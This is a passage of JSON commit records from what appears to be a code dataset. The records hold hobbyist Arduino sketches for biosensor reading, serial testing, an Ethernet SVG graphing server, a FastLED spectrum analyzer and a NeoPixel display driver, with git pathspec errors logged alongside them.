arduino code","message":"add ppg\/ecg\/temperature arduino code\n","repos":"jackylee0424\/YCHack-MakeHAL9000,jackylee0424\/YCHack-MakeHAL9000,jackylee0424\/YCHack-MakeHAL9000","old_file":"hardware\/PPGECGTEMP\/PPGECGTEMP.ino","new_file":"hardware\/PPGECGTEMP\/PPGECGTEMP.ino","new_contents":"\/******************************************************************************\nTemperature pins: yellow to SCL, black to SDA (Pro Micro SDA-Pin2, SCL-Pin 3)\nPPG: white to pin 5\nECG: yellow to A0\n******************************************************************************\/\n#include <i2cmaster.h>\n#include <FreqCounter.h>\n\nunsigned long frq;\nint cnt;\nint max_c;\nint min_c;\nfloat celcius;\nfloat fahrenheit;\n\nvoid setup() {\n \/\/ initialize the serial communication:\n Serial.begin(115200);\n \n \/\/ ecg\n pinMode(10, INPUT); \/\/ Setup for leads off detection LO +\n pinMode(11, INPUT); \/\/ Setup for leads off detection LO -\n \n \/\/ temperature\n i2c_init(); \/\/Initialise the i2c bus\n PORTC = (1 << PORTC4) | (1 << PORTC5);\/\/enable pullups\n}\n\nvoid resetCounter(){\n cnt=0;\n min_c=max_c;\n max_c=0;\n}\n\nvoid getFreq(){\n \/\/ wait if any serial is going on\n FreqCounter::f_comp=10; \/\/ Cal Value \/ Calibrate with professional Freq Counter\n FreqCounter::start(7); \/\/ 100 ms Gate Time\n\n while (FreqCounter::f_ready == 0) \n\n frq=FreqCounter::f_freq;\n \n cnt++;\n \n if (frq>max_c){\n max_c=frq;\n }\n \n if (frq<min_c){\n min_c=frq;\n }\n}\n\nvoid getTemperature(){\n int dev = 0x50<<1;\n int data_low = 0;\n int data_high = 0;\n int pec = 0;\n \n i2c_start_wait(dev+I2C_WRITE);\n i2c_write(0x07);\n \n \/\/ read\n i2c_rep_start(dev+I2C_READ);\n data_low = i2c_readAck(); \/\/Read 1 byte and then send ack\n data_high = i2c_readAck(); \/\/Read 1 byte and then send ack\n pec = i2c_readNak();\n i2c_stop();\n \n \/\/This converts high and low bytes together and processes temperature, MSB is a error bit and is ignored for temps\n double tempFactor = 0.02; \/\/ 0.02 degrees per LSB (measurement resolution of the MLX90614)\n double tempData = 0x0000; \/\/ zero out the data\n int frac; \/\/ data past the decimal point\n \n \/\/ This masks off the error bit of the high byte, then moves it left 8 bits and adds the low byte.\n tempData = (double)(((data_high & 0x007F) << 8) + data_low);\n tempData = (tempData * tempFactor)-0.01;\n \n celcius = tempData - 273.15;\n fahrenheit = (celcius*1.8) + 32;\n}\n\nvoid loop() {\n getFreq();\n getTemperature();\n Serial.print(millis());\n Serial.print(\" \");\n Serial.print(celcius);\n Serial.print(\" \");\n Serial.print(fahrenheit);\n Serial.print(\" \");\n Serial.print(frq);\n Serial.print(\" \");\n if((digitalRead(10) == 1)||(digitalRead(11) == 1)){\n Serial.println('0');\n }\n else{\n \/\/ send the value of analog input 0:\n \n Serial.println(analogRead(A0));\n }\n \/\/Wait for a bit to keep serial data from saturating\n delay(15);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/PPGECGTEMP\/PPGECGTEMP.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7a15960c523817434b696b4f7f56e43b7a21c354","subject":"Arduino tester: first version","message":"Arduino tester: first version\n","repos":"kranfix\/rs232,kranfix\/rs232","old_file":"example\/arduino_tester\/arduino_tester.ino","new_file":"example\/arduino_tester\/arduino_tester.ino","new_contents":"#define baudr 9600\n\nvoid setup() {\n Serial.begin(baudr);\n}\nvoid loop() {\n while(!Serial.available());\n\n \/\/ Testing kfx::RS232::WriteByte\n byte a = Serial.read();\n\n \/\/ Testing kfx::RS232::ReadBuf\n Serial.print(\"Recived Character: \");\n\n \/\/ Testing kfx::RS232::ReadByte\n \/\/Serial.println(a);\n Serial.write(a);\n Serial.println();\n\n \/\/ Testing kfx::RS232::WriteBuf\n char A[80];\n int cont = 0;\n waitForIncomingBuffer:\n while(!Serial.available());\n while(Serial.available()){\n A[cont] = Serial.read();\n delay(10); \/\/ A timeout with delay\n if(cont == 0 && A[cont] == '\\n'){\n continue;\n }\n cont++;\n }\n A[cont] = 0; \/\/ Null character\n\n Serial.print(\"Recived buffer: \");\n Serial.print(A);\n Serial.println();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'example\/arduino_tester\/arduino_tester.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"acc7f859b401852a34e12ba7f891542e488caad5","subject":"Added SVG graphing demonstration","message":"Added SVG graphing demonstration\n","repos":"pontech\/chipKIT-core,adamwolf\/chipKIT-core,majenkotech\/chipKIT-core,chipKIT32\/chipkit-core,EmbeddedMan\/chipKIT-core,pontech\/chipKIT-core,ricklon\/chipKIT-core,adamwolf\/chipKIT-core,ricklon\/chipKIT-core,adamwolf\/chipKIT-core,pontech\/chipKIT-core,EmbeddedMan\/chipKIT-core,majenkotech\/chipKIT-core,adamwolf\/chipKIT-core,ricklon\/chipKIT-core,EmbeddedMan\/chipKIT-core,chipKIT32\/chipkit-core,majenkotech\/chipKIT-core,pontech\/chipKIT-core,ricklon\/chipKIT-core,ricklon\/chipKIT-core,adamwolf\/chipKIT-core,pontech\/chipKIT-core,majenkotech\/chipKIT-core,pontech\/chipKIT-core,chipKIT32\/chipkit-core,EmbeddedMan\/chipKIT-core,pontech\/chipKIT-core,EmbeddedMan\/chipKIT-core,chipKIT32\/chipkit-core,adamwolf\/chipKIT-core,EmbeddedMan\/chipKIT-core,majenkotech\/chipKIT-core,majenkotech\/chipKIT-core,adamwolf\/chipKIT-core,ricklon\/chipKIT-core,EmbeddedMan\/chipKIT-core,chipKIT32\/chipkit-core,majenkotech\/chipKIT-core","old_file":"pic32\/libraries\/Ethernet\/examples\/WebGraph\/WebGraph.ino","new_file":"pic32\/libraries\/Ethernet\/examples\/WebGraph\/WebGraph.ino","new_contents":"\/*\n * Copyright (c) 2015, Majenko Technologies\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n * \n * * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * \n * * Redistributions in binary form must reproduce the above copyright notice, this\n * list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n * \n * * Neither the name of Majenko Technologies nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/* This small demo illustrates how you can build up graphics using\n * SVG which is basically an XML file. The analog inputs 0-5 are\n * periodically read and stored in an array of historical readings.\n * A web request to the root page (\"\/\") then includes images pointing\n * to 6 SVG urls (\/graph*.svg) which then produce live graphical\n * representations of the stored historical data.\n * \n * The page should refresh automatically every 5 seconds.\n *\/\n\n\/\/ Ethernet requires SPI to be included as well.\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ This is the MAC address you want to give the Ethernet shield.\n\/\/ It should be unique within your network.\nbyte mac[] = {\n\t0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED\n};\n\n\/\/ Give the shield an IP address. It should be unique within the subnet.\nIPAddress ip(192, 168, 1, 177);\n\n\/\/ We want a web server to run on port 80.\nEthernetServer server(80);\n\n\/\/ This is where we will store our ADC data.\nint data[6][200];\n\nvoid setup() {\n \/\/ Start the Ethernet subsystem up\n\tEthernet.begin(mac, ip);\n \/\/ And kick off the server listening for requests.\n\tserver.begin();\n}\n\n\/\/ This is a small class that will read the header of a web request\n\/\/ and store the important information (target host name and page requested).\n\nclass WebRequest {\nprivate:\n\tchar *_host;\n\tchar *_page;\n\tClient *_client;\n\tchar _buffer[100];\n\tuint8_t _bufptr;\npublic:\n\tWebRequest(Client &c) : _host(NULL), _page(NULL), _client(&c), _bufptr(0) {}\n\t~WebRequest() {\n\t\tif (_host != NULL) { free(_host); }\n\n\t\tif (_page != NULL) { free(_page); }\n\t}\n\tbool process() {\n\t\tbool _finished = false;\n\n\t\tif (_client->available()) {\n\t\t\tint c = _client->read();\n\n\t\t\tswitch (c) {\n\t\t\t\tcase '\\r':\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '\\n':\n\t\t\t\t\tif (strncasecmp(\"Host: \", _buffer, 6) == 0) {\n\t\t\t\t\t\t_host = strdup(_buffer + 6);\n\t\t\t\t\t} else if (strncasecmp(\"GET \", _buffer, 4) == 0) {\n\t\t\t\t\t\tchar *end = strstr(_buffer + 4, \" HTTP\/\");\n\n\t\t\t\t\t\tif (end != NULL) { *end = 0; }\n\n\t\t\t\t\t\t_page = strdup(_buffer + 4);\n\t\t\t\t\t} else if (strlen(_buffer) == 0) {\n\t\t\t\t\t\t_finished = true;\n\t\t\t\t\t}\n\n\t\t\t\t\t_bufptr = 0;\n\t\t\t\t\t_buffer[0] = 0;\n\t\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\tif (_bufptr < 99) {\n\t\t\t\t\t\t_buffer[_bufptr++] = c;\n\t\t\t\t\t\t_buffer[_bufptr] = 0;\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn _finished;\n\t}\n\tchar *getPage() {\n\t\treturn _page;\n\t}\n\tchar *getHost() {\n\t\treturn _host;\n\t}\n};\n\n\/\/ This is the heart of the graphics portion. Generate the XML to\n\/\/ represent the graph data as SVG.\nvoid sendGraph(Client &client, int graphno) {\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: image\/svg+xml\");\n client.println(\"Connection: close\");\n client.println();\n client.println(\"<svg xmlns=\\\"http:\/\" \"\/www.w3.org\/2000\/svg\\\" version=\\\"1.1\\\" width=\\\"200\\\" height=\\\"128\\\">\");\n client.println(\"<g stroke=\\\"black\\\">\");\n for (int i = 1; i < 200; i++) {\n client.print(\"<line x1=\\\"\");\n client.print(i - 1);\n client.print(\"\\\" y1=\\\"\");\n client.print(127 - (data[graphno][i-1] >> 3));\n client.print(\"\\\" x2=\\\"\");\n client.print(i);\n client.print(\"\\\" y2=\\\"\");\n client.print(127 - (data[graphno][i] >> 3));\n client.println(\"\\\" stroke-width=\\\"1\\\" \/>\"); \n }\n client.println(\"<\/g>\");\n client.println(\"<\/svg>\");\n}\n\n\/\/ If you request a page that doesn't exist you should send back a 403\nvoid sendNotFound(Client &client) {\n client.println(\"HTTP\/1.1 403 NOT FOUND\");\n client.println(\"Content-Type: text\/html\");\n client.println(\"Connection: close\");\n client.println();\n client.println(\"<html><head><title>Not Found<\/title><\/head><body><h1>Not Found<\/h1><\/body><\/html>\");\n}\n\n\/\/ Process the main index page - include the 6 graph images.\nvoid sendIndex(Client &client) {\n\tclient.println(\"HTTP\/1.1 200 OK\");\n\tclient.println(\"Content-Type: text\/html\");\n\tclient.println(\"Connection: close\");\n client.println(\"Refresh: 5\");\n\tclient.println();\n\tclient.println(\"<!DOCTYPE HTML>\");\n\tclient.println(\"<html>\");\n\tclient.println(\"<head><title>Sensor Readings<\/title><\/head>\");\n\tclient.println(\"<body><center><table border=1><tr>\");\n\n\tfor (int i = 0; i < 6; i++) {\n\t\tclient.print(\"<th>\");\n\t\tclient.print(i);\n\t\tclient.print(\"<\/th>\");\n\t}\n\n\tclient.println(\"<\/tr>\");\n\tclient.print(\"<tr>\");\n\n\tfor (int analogChannel = 0; analogChannel < 6; analogChannel++) {\n\t\tclient.print(\"<td><img src='\/graph\");\n\t\tclient.print(analogChannel);\n\t\tclient.print(\".svg'\/><\/td>\");\n\t}\n\n\tclient.println(\"<\/tr>\");\n\tclient.println(\"<\/table>\");\n\tclient.println(\"<\/center><\/body><\/html>\");\n}\n\n\/\/ Our main loop. Read the ADC every 100ms and process any incoming requests.\nvoid loop() {\n\n \/\/ A 100ms ticker. Every 100ms shift the 6 array blocks down one\n \/\/ entry and read in a new value at the top of the array.\n static uint32_t tick = 0;\n if (millis() - tick >= 100) {\n tick = millis();\n for (int chan = 0; chan < 6; chan++) {\n for (int i = 0; i < 199; i++) {\n data[chan][i] = data[chan][i+1];\n data[chan][199] = analogRead(chan);\n }\n }\n }\n\n\n \/\/ Check to see if there are any pending connections\n\tEthernetClient client = server.available();\n\n\tif (client) {\n\n \/\/ Process the incoming request\n\t\tWebRequest req(client);\n\t\twhile (client.connected() && !req.process());\n\n \/\/ Now look to see which page was requested and call the\n \/\/ right function accordingly.\n\t\tif (!strcmp(req.getPage(), \"\/\")) {\n sendIndex(client);\n\t\t} else if (!strcmp(req.getPage(), \"\/index.html\")) {\n sendIndex(client);\n\t\t} else if (!strcmp(req.getPage(), \"\/graph0.svg\")) {\n sendGraph(client, 0);\n } else if (!strcmp(req.getPage(), \"\/graph1.svg\")) {\n sendGraph(client, 1);\n } else if (!strcmp(req.getPage(), \"\/graph2.svg\")) {\n sendGraph(client, 2);\n } else if (!strcmp(req.getPage(), \"\/graph3.svg\")) {\n sendGraph(client, 3);\n } else if (!strcmp(req.getPage(), \"\/graph4.svg\")) {\n sendGraph(client, 4);\n } else if (!strcmp(req.getPage(), \"\/graph5.svg\")) {\n sendGraph(client, 5);\n\t\t} else {\n sendNotFound(client);\n\t\t}\n\n \/\/ We're done with this connection, so close it down.\n\t\tclient.stop();\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pic32\/libraries\/Ethernet\/examples\/WebGraph\/WebGraph.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f1502136f95db7c6c2c23837db86c05f23e8d6dd","subject":"Adding a port of PJRC's spectrum analyzer to use FastLED's OctoWS2811 controller","message":"Adding a port of PJRC's spectrum analyzer to use FastLED's OctoWS2811 controller\n","repos":"NicoHood\/FastLED,neographophobic\/FastLED,kcouck\/FastLED,neographophobic\/FastLED,felixLam\/FastLED,FastLED\/FastLED,eshkrab\/FastLED-esp32,kcouck\/FastLED,PaulStoffregen\/FastLED,wilhelmryan\/FastLED,PaulStoffregen\/FastLED,FastLED\/FastLED,eshkrab\/FastLED-esp32,PaulStoffregen\/FastLED,wilhelmryan\/FastLED,FastLED\/FastLED,corbinstreehouse\/FastLED,FastLED\/FastLED,tullo-x86\/FastLED,remspoor\/FastLED,NicoHood\/FastLED,tullo-x86\/FastLED,corbinstreehouse\/FastLED,felixLam\/FastLED,remspoor\/FastLED","old_file":"examples\/Ports\/PJRCSpectrumAnalyzer\/PJRCSpectrumAnalyzer.ino","new_file":"examples\/Ports\/PJRCSpectrumAnalyzer\/PJRCSpectrumAnalyzer.ino","new_contents":"\/\/ LED Audio Spectrum Analyzer Display\n\/\/\n\/\/ Creates an impressive LED light show to music input\n\/\/ using Teensy 3.1 with the OctoWS2811 adaptor board\n\/\/ http:\/\/www.pjrc.com\/store\/teensy31.html\n\/\/ http:\/\/www.pjrc.com\/store\/octo28_adaptor.html\n\/\/\n\/\/ Line Level Audio Input connects to analog pin A3\n\/\/ Recommended input circuit:\n\/\/ http:\/\/www.pjrc.com\/teensy\/gui\/?info=AudioInputAnalog\n\/\/\n\/\/ This example code is in the public domain.\n\n#define USE_OCTOWS2811\n#include <OctoWS2811.h>\n#include <FastLED.h>\n#include <Audio.h>\n#include <Wire.h>\n#include <SD.h>\n#include <SPI.h>\n\n\/\/ The display size and color to use\nconst unsigned int matrix_width = 60;\nconst unsigned int matrix_height = 32;\nconst unsigned int myColor = 0x400020;\n\n\/\/ These parameters adjust the vertical thresholds\nconst float maxLevel = 0.5; \/\/ 1.0 = max, lower is more \"sensitive\"\nconst float dynamicRange = 40.0; \/\/ total range to display, in decibels\nconst float linearBlend = 0.3; \/\/ useful range is 0 to 0.7\n\nCRGB leds[matrix_width * matrix_height];\n\n\/\/ Audio library objects\nAudioInputAnalog adc1(A3); \/\/xy=99,55\nAudioAnalyzeFFT1024 fft; \/\/xy=265,75\nAudioConnection patchCord1(adc1, fft);\n\n\n\/\/ This array holds the volume level (0 to 1.0) for each\n\/\/ vertical pixel to turn on. Computed in setup() using\n\/\/ the 3 parameters above.\nfloat thresholdVertical[matrix_height];\n\n\/\/ This array specifies how many of the FFT frequency bin\n\/\/ to use for each horizontal pixel. Because humans hear\n\/\/ in octaves and FFT bins are linear, the low frequencies\n\/\/ use a small number of bins, higher frequencies use more.\nint frequencyBinsHorizontal[matrix_width] = {\n 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 2, 2, 2, 2, 2, 2, 2, 2, 2, 3,\n 3, 3, 3, 3, 4, 4, 4, 4, 4, 5,\n 5, 5, 6, 6, 6, 7, 7, 7, 8, 8,\n 9, 9, 10, 10, 11, 12, 12, 13, 14, 15,\n 15, 16, 17, 18, 19, 20, 22, 23, 24, 25\n};\n\n\n\n\/\/ Run setup once\nvoid setup() {\n \/\/ the audio library needs to be given memory to start working\n AudioMemory(12);\n\n \/\/ compute the vertical thresholds before starting\n computeVerticalLevels();\n\n \/\/ turn on the display\n FastLED.addLeds<OCTOWS2811>(leds,(matrix_width * matrix_height) \/ 8);\n}\n\n\/\/ A simple xy() function to turn display matrix coordinates\n\/\/ into the index numbers OctoWS2811 requires. If your LEDs\n\/\/ are arranged differently, edit this code...\nunsigned int xy(unsigned int x, unsigned int y) {\n if ((y & 1) == 0) {\n \/\/ even numbered rows (0, 2, 4...) are left to right\n return y * matrix_width + x;\n } else {\n \/\/ odd numbered rows (1, 3, 5...) are right to left\n return y * matrix_width + matrix_width - 1 - x;\n }\n}\n\n\/\/ Run repetitively\nvoid loop() {\n unsigned int x, y, freqBin;\n float level;\n\n if (fft.available()) {\n \/\/ freqBin counts which FFT frequency data has been used,\n \/\/ starting at low frequency\n freqBin = 0;\n\n for (x=0; x < matrix_width; x++) {\n \/\/ get the volume for each horizontal pixel position\n level = fft.read(freqBin, freqBin + frequencyBinsHorizontal[x] - 1);\n\n \/\/ uncomment to see the spectrum in Arduino's Serial Monitor\n \/\/ Serial.print(level);\n \/\/ Serial.print(\" \");\n\n for (y=0; y < matrix_height; y++) {\n \/\/ for each vertical pixel, check if above the threshold\n \/\/ and turn the LED on or off\n if (level >= thresholdVertical[y]) {\n leds[xy(x,y)] = CRGB(myColor);\n } else {\n leds[xy(x,y)] = CRGB::Black;\n }\n }\n \/\/ increment the frequency bin count, so we display\n \/\/ low to higher frequency from left to right\n freqBin = freqBin + frequencyBinsHorizontal[x];\n }\n \/\/ after all pixels set, show them all at the same instant\n FastLED.show();\n \/\/ Serial.println();\n }\n}\n\n\n\/\/ Run once from setup, the compute the vertical levels\nvoid computeVerticalLevels() {\n unsigned int y;\n float n, logLevel, linearLevel;\n\n for (y=0; y < matrix_height; y++) {\n n = (float)y \/ (float)(matrix_height - 1);\n logLevel = pow10f(n * -1.0 * (dynamicRange \/ 20.0));\n linearLevel = 1.0 - n;\n linearLevel = linearLevel * linearBlend;\n logLevel = logLevel * (1.0 - linearBlend);\n thresholdVertical[y] = (logLevel + linearLevel) * maxLevel;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Ports\/PJRCSpectrumAnalyzer\/PJRCSpectrumAnalyzer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"307c05710a7f34f852bcc30f354fa5e644385c80","subject":"shortest path need stop; otherwise not accrute","message":"shortest path need stop; otherwise not accrute\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration use IR sensor to turn\/src\/main.ino","new_file":"exploration use IR sensor to turn\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'use' did not match any file(s) known to git\nerror: pathspec 'IR' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'turn\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"34eb029f6cbce0fcf443789f763f00b93b52ab67","subject":"Update ProbeCube_pp_099b0224.ino","message":"Update ProbeCube_pp_099b0224.ino","repos":"Lafudoci\/ProbeCube","old_file":"Arduino with cc3000wifi based\/Code\/ProbeCube_pp_099b0224.ino","new_file":"Arduino with cc3000wifi based\/Code\/ProbeCube_pp_099b0224.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'with' did not match any file(s) known to git\nerror: pathspec 'cc3000wifi' did not match any file(s) known to git\nerror: pathspec 'based\/Code\/ProbeCube_pp_099b0224.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1ea5c36c4c2a8c0ec408bf7ceac382a78570c54","subject":"first check in of ArduinoDisplayDriver.ino","message":"first check in of ArduinoDisplayDriver.ino\n","repos":"uberspaceguru\/GiantTetris","old_file":"ArduinoDisplayDriver\/ArduinoDisplayDriver\/ArduinoDisplayDriver.ino","new_file":"ArduinoDisplayDriver\/ArduinoDisplayDriver\/ArduinoDisplayDriver.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define TEST_SEED 1000\n\nconst uint32_t displayHeight = 22;\nconst uint32_t displayWidth = 10;\nconst uint32_t blockSize = 1;\n\nconst int numPixelsInBlock = blockSize * blockSize;\nint pixelsInBlock[numPixelsInBlock];\n\n#define PIN 6\nint numPixels = 220;\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(numPixels, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\n void setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n Serial.begin(115200);\n }\n\n void loop() {\n \n if(Serial.available() > 0 && Serial.peek() == '!')\n {\n Serial.println(\"serial data available\");\n int x,y,R,G,B; \n int pixel;\n ClearBoard(false);\n Serial.print(\"peek:\");\n Serial.println(Serial.peek());\n while(Serial.peek() != '\\n')\n {\n x = Serial.parseInt();\n y = Serial.parseInt();\n R = Serial.parseInt();\n G = Serial.parseInt();\n B = Serial.parseInt();\n \n Serial.println(x);\n Serial.println(y);\n Serial.println(R);\n Serial.println(G);\n Serial.println(B);\n \n findPixels(x,y);\n \n for(int i = 0; i < numPixelsInBlock; i++)\n {\n if(pixelsInBlock[i] == -1)\n {\n Serial.println(\"Pixel out of range\");\n }\n else\n {\n Serial.print(\"Lighting pixel \");\n Serial.println(pixelsInBlock[i]);\n strip.setPixelColor(pixelsInBlock[i], R,G,B); \n }\n }\n }\n \/\/clear out the newline\n Serial.println(\"found the newline\");\n \n }\n else if (Serial.available() && Serial.peek() != '!')\n { \n Serial.print(\"ignoring: \");\n Serial.println(Serial.read());\/\/we don't care if it's not the start bit\n }\n \n Serial.read();\n strip.show();\n }\n\n \n void ClearBoard(boolean latch){\n for(int i = 0; i < numPixels; i++)\n {\n strip.setPixelColor(i, 0,0,0); \n if(latch)\n {\n strip.show();\n }\n }\n }\n \n\/\/ Find pixels contained within a Block and populates pixelsInBlock of size blockSize^2 containing individual pixel numbers\n \/\/ If a pixel number is -1, it is not in the block\n \/\/ NOTE: Will return value outside of range, no bounds checking\n void findPixels (int blockX, int blockY)\n {\n int pixelRow, pixelCol;\n \n for(pixelRow = 0; pixelRow < blockSize; pixelRow++)\n {\n for(pixelCol = 0; pixelCol < blockSize; pixelCol++)\n {\n \/\/ Calculate pixel's X and Y value\n int pixelX = pixelCol + blockX * blockSize;\n int pixelY = pixelRow + blockY * blockSize;\n int index = pixelCol + blockSize * pixelRow;\n \n if(pixelX > displayWidth || pixelY > displayHeight)\n {\n pixelsInBlock[index] = -1;\n }\n else\n {\n pixelsInBlock[index] = pixelX + pixelY * displayWidth;\n }\n }\n }\n }\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoDisplayDriver\/ArduinoDisplayDriver\/ArduinoDisplayDriver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0ac29dcd09a844bc4b35658116444cba26c899f0","subject":"Added access point example","message":"Added access point example\n","repos":"Adam5Wu\/Arduino,lrmoreno007\/Arduino,NextDevBoard\/Arduino,quertenmont\/Arduino,me-no-dev\/Arduino,Adam5Wu\/Arduino,gguuss\/Arduino,Adam5Wu\/Arduino,NextDevBoard\/Arduino,gguuss\/Arduino,hallard\/Arduino,NullMedia\/Arduino,toastedcode\/esp8266-Arduino,esp8266\/Arduino,jes\/Arduino,Lan-Hekary\/Arduino,hallard\/Arduino,Cloudino\/Cloudino-Arduino-IDE,hallard\/Arduino,me-no-dev\/Arduino,chrisfraser\/Arduino,esp8266\/Arduino,hallard\/Arduino,toastedcode\/esp8266-Arduino,wemos\/Arduino,edog1973\/Arduino,Cloudino\/Arduino,martinayotte\/ESP8266-Arduino,wemos\/Arduino,Cloudino\/Cloudino-Arduino-IDE,wemos\/Arduino,chrisfraser\/Arduino,Cloudino\/Cloudino-Arduino-IDE,hallard\/Arduino,Cloudino\/Arduino,sticilface\/Arduino,CanTireInnovations\/Arduino,quertenmont\/Arduino,jes\/Arduino,sticilface\/Arduino,Cloudino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,martinayotte\/ESP8266-Arduino,esp8266\/Arduino,Cloudino\/Arduino,jes\/Arduino,martinayotte\/ESP8266-Arduino,KaloNK\/Arduino,CanTireInnovations\/Arduino,gguuss\/Arduino,Juppit\/Arduino,edog1973\/Arduino,NullMedia\/Arduino,toastedcode\/esp8266-Arduino,jes\/Arduino,Adam5Wu\/Arduino,chrisfraser\/Arduino,quertenmont\/Arduino,lrmoreno007\/Arduino,toastedcode\/esp8266-Arduino,lrmoreno007\/Arduino,Cloudino\/Arduino,esp8266\/Arduino,martinayotte\/ESP8266-Arduino,Links2004\/Arduino,CanTireInnovations\/Arduino,CanTireInnovations\/Arduino,Juppit\/Arduino,Links2004\/Arduino,quertenmont\/Arduino,CanTireInnovations\/Arduino,wemos\/Arduino,Juppit\/Arduino,gguuss\/Arduino,CanTireInnovations\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Cloudino\/Cloudino-Arduino-IDE,Links2004\/Arduino,chrisfraser\/Arduino,jes\/Arduino,gguuss\/Arduino,Lan-Hekary\/Arduino,NullMedia\/Arduino,KaloNK\/Arduino,me-no-dev\/Arduino,Links2004\/Arduino,Lan-Hekary\/Arduino,Juppit\/Arduino,esp8266\/Arduino,NextDevBoard\/Arduino,Lan-Hekary\/Arduino,sticilface\/Arduino,NextDevBoard\/Arduino,chrisfraser\/Arduino,toastedcode\/esp8266-Arduino,Cloudino\/Arduino,NullMedia\/Arduino,NextDevBoard\/Arduino,KaloNK\/Arduino,edog1973\/Arduino,me-no-dev\/Arduino,quertenmont\/Arduino,KaloNK\/Arduino,Cloudino\/Arduino,wemos\/Arduino,sticilface\/Arduino,Lan-Hekary\/Arduino,KaloNK\/Arduino,me-no-dev\/Arduino,Juppit\/Arduino,edog1973\/Arduino,sticilface\/Arduino,lrmoreno007\/Arduino,martinayotte\/ESP8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,NullMedia\/Arduino,CanTireInnovations\/Arduino,Adam5Wu\/Arduino,lrmoreno007\/Arduino,edog1973\/Arduino,Links2004\/Arduino","old_file":"libraries\/ESP8266WiFi\/examples\/WiFiAccessPoint\/WiFiAccessPoint.ino","new_file":"libraries\/ESP8266WiFi\/examples\/WiFiAccessPoint\/WiFiAccessPoint.ino","new_contents":"\/*\n * Copyright (c) 2015, Majenko Technologies\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n * \n * * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * \n * * Redistributions in binary form must reproduce the above copyright notice, this\n * list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n * \n * * Neither the name of Majenko Technologies nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 